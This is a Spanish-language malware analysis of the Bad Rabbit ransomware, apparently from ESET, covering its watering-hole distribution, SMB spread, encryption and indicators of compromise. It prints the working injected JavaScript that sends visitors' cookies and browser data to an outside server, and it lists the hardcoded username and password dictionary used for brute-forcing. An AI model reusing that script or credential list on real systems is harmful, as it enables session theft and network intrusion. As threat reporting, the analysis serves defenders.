Un nuevo brote de ransomware atacó ayer a grandes infraestructuras en Ucrania, incluyendo al Metro de Kiev. Tal como prometimos ayer, hicimos un análisis más detallado y a continuación presentamos los hallazgos sobre esta nueva variante Diskcoder.D.

Drive-by download vía watering hole en sitios populares

Uno de los métodos de distribución de Bad Rabbit es un drive-by download. Algunos sitios populares son comprometidos usando la técnica watering hole y se les inyecta JavaScript en su HTML o en uno de sus archivos .js.

Aquí hay una versión pulida de la inyección:

function e(d) {
  var xhr = null;
  if (!!window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else if (!!window.ActiveXObject) {
    var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
    for (var i = 0; i < xhrs.length; i++) {
      try {
        xhr = ActiveXObject(xhrs[i]);
        break;
      } catch (e) {}
    }
  }
  if (!!xhr) {
    xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
    xhr.timeout = 10000;
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4 && xhr.status == 200) {
        var resp = xhr.responseText;
        if (resp) {
          var fans = JSON.parse(resp);
          if (fans) {
            var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
            var da = document.createElement('div');
            da.id = 'ans';
            da.innerHTML = an_s;
            document.body.appendChild(da);
          }
        }
      }
    };
    var pd = [];
    for (var k in d) {
      if (d.hasOwnProperty(k)) {
        pd.push(k + '=' + d[k]);
      }
    }
    var dc = pd.join('&');
    xhr.send(dc);
  }
}
e({
  'agent': navigator.userAgent,
  'referer': document.referrer,
  'cookie': document.cookie,
  'domain': window.location.hostname,
  'c_state': !!document.cookie
});

Este script reporta los siguientes componentes a 185.149.120[.]3, que no parece responder en este momento.

  • User-Agent del navegador
  • Referrer
  • Cookie del sitio visitado
  • Nombre de dominio del sitio visitado

La lógica de programación del lado del servidor puede determinar si el visitante es un blanco de interés y luego añadir contenido en la página. Hemos visto, por ejemplo, cómo aparece una ventana emergente pidiendo descargar una actualización de Flash Player en el medio de la página.

Al hacer clic en el botón "Instalar", se inicia la descarga de un archivo ejecutable desde 1dnscontrol[.]com. Este ejecutable, install_flash_player.exe, es el dropper de Win32/Filecoder.D.

Luego, la computadora finalmente se bloquea y aparece el pedido de rescate típico del ransomware:

Esta es la página para hacer el pago:

Propagación vía SMB

Win32/Diskcoder.D tiene la habilidad de propagarse a través del protocolo Server Message Block (SMB). A diferencia de algunos reportes que han estado circulando, no explota la vulnerabilidad EternalBlue como era el caso en el brote de Win32/Diskcoder.C (Not-Petya).

Primero, escanea la red interna en busca de estos componentes abiertos de SMB:

  • admin
  • atsvc
  • browser
  • eventlog
  • lsarpc
  • netlogon
  • ntsvcs
  • spoolss
  • samr
  • srvsvc
  • scerpc
  • svcctl
  • wkssvc

Se ejecuta Mimikatz en el equipo comprometido para recolectar credenciales. También hay una lista hardcodeada de nombres de usuario y contraseñas.

Nombre de usuario Contraseñas
Administrator Administrator
Admin administrator
Guest Guest
User guest
User1 User
user-1 user
Test Admin
root adminTest
buh test
boss root
ftp 123
rdp 1234
rdpuser 12345
rdpadmin 123456
manager 1234567
support 12345678
work 123456789
other user 1234567890
operator Administrator123
backup administrator123
asus Guest123
ftpuser guest123
ftpadmin User123
nas user123
nasuser Admin123
nasadmin admin123Test123
superuser test123
netguest password
alex 111111
55555
77777
777
qwe
qwe123
qwe321
qwer
qwert
qwerty
qwerty123
zxc
zxc123
zxc321
zxcv
uiop
123321
321
love
secret
sex
god

Cuando se encuentran las credenciales funcionales, se descarga el archivo infpub.dat en el directorio de Windows y se ejecuta a través de SCManager y rundll.exe.

Cifrado

Win32/Diskcoder.D es una versión modificada de Win32/Diskcoder.C, para la que se corrigieron algunos bugs en el cifrado de archivos. Ahora usa DiskCryptor, un software open source legítimo usado para hacer cifrado de unidades completas.

Las claves se generan usando CryptGenRandom y luego se protegen con una clave pública RSA 2048 hardcodeada. Los archivos cifrados tienen la extensión .encrypted. Al igual que antes, se usa AES-128-CBC.

Distribución

La telemetría de ESET muestra que Ucrania solo tiene el 12,2% del total de casos en que vimos el dropper. Estas son las estadísticas:

  • Rusia: 65%
  • Ucrania: 12.2%
  • Bulgaria: 10.2%
  • Turquía: 6.4%
  • Japón: 3.8%
  • Otros: 2.4%

Esto coincide bastante con la distribución de sitios comprometidos que incluyen el JavaScript malicioso. Entonces, ¿por qué Ucrania parece ser más atacada que el resto?

Es interesante señalar que todos los blancos fueron atacados al mismo tiempo. Es posible que el grupo ya tuviese un pie adentro de sus redes y ejecutase el ataque watering hole en simultáneo como señuelo. Nada indica que hayan caído por la falsa actualización de Flash.

ESET continúa investigando y publicaremos nuestros hallazgos a medida que avancemos.

Muestras

SHA-1 Nombre de archivo Detección de ESET Descripción
79116fe99f2b421c52ef64097f0f39b815b20907 infpub.dat Win32/Diskcoder.D Diskcoder
afeee8b4acff87bc469a6f0364a81ae5d60a2add dispci.exe Win32/Diskcoder.D Lockscreen
413eba3973a15c1a6429d9f170f3e8287f98c21c Win32/RiskWare.Mimikatz.X Mimikatz (32-bits)
16605a4a29a101208457c47ebfde788487be788d Win64/Riskware.Mimikatz.X Mimikatz (64-bits)
de5c8d858e6e41da715dca1c019df0bfb92d32c0 install_flash_player.exe Win32/Diskcoder.D Dropper
4f61e154230a64902ae035434690bf2b96b4e018 page-main.js JS/Agent.NWC JavaScript on compromised sites

Servidores de C&C

Sitio de pago: http://caforssztxqzf2nm[.]onion

URL del injecthttp://185.149.120[.]3/scholargoogle/

URL de distribución: hxxp://1dnscontrol[.]com/flash_install.php

Lista de sitios comprometidos:

  • hxxp://argumentiru[.]com
  • hxxp://www.fontanka[.]ru
  • hxxp://grupovo[.]bg
  • hxxp://www.sinematurk[.]com
  • hxxp://www.aica.co[.]jp
  • hxxp://spbvoditel[.]ru
  • hxxp://argumenti[.]ru
  • hxxp://www.mediaport[.]ua
  • hxxp://blog.fontanka[.]ru
  • hxxp://an-crimea[.]ru
  • hxxp://www.t.ks[.]ua
  • hxxp://most-dnepr[.]info
  • hxxp://osvitaportal.com[.]ua
  • hxxp://www.otbrana[.]com
  • hxxp://calendar.fontanka[.]ru
  • hxxp://www.grupovo[.]bg
  • hxxp://www.pensionhotel[.]cz
  • hxxp://www.online812[.]ru
  • hxxp://www.imer[.]ro
  • hxxp://novayagazeta.spb[.]ru
  • hxxp://i24.com[.]ua
  • hxxp://bg.pensionhotel[.]com
  • hxxp://ankerch-crimea[.]ru